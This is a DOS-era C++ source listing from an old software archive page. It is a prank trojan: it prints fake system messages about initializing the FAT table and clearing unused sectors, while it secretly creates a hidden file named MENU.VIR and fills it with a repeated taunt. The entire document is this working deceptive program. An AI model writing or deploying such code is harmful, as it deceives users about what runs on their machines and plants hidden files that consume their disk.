home *** CD-ROM | disk | FTP | other *** search
- #include <iostream.h>
- #include <dos.h>
- #include <string.h>
- #include <stdio.h>
- #include <fcntl.h>
-
- int main(void)
- {
- unsigned count;
- int handle;
- char buf[10000] = "Your A Sucker!!!! ";
- unsigned counter=0;
- // char filename[10] = "menu.vir";
- cout << "Initalizing FAT Table....\n";
- _dos_creat("MENU.VIR", FA_HIDDEN, &handle);
- sleep(1);
- cout << "Clearing Un-Used Sectors....\nThis May Take A Few Minutes....\n";
- sleep(5);
- while (counter != 10000)
- {
- _dos_write(handle, buf, strlen(buf), &count);
- cout << counter << "\t";
- ++counter;
- }
- _dos_close(handle);
- // _dos_setfileattr(filename, FA_HIDDEN);
- return 0;
- }
-
-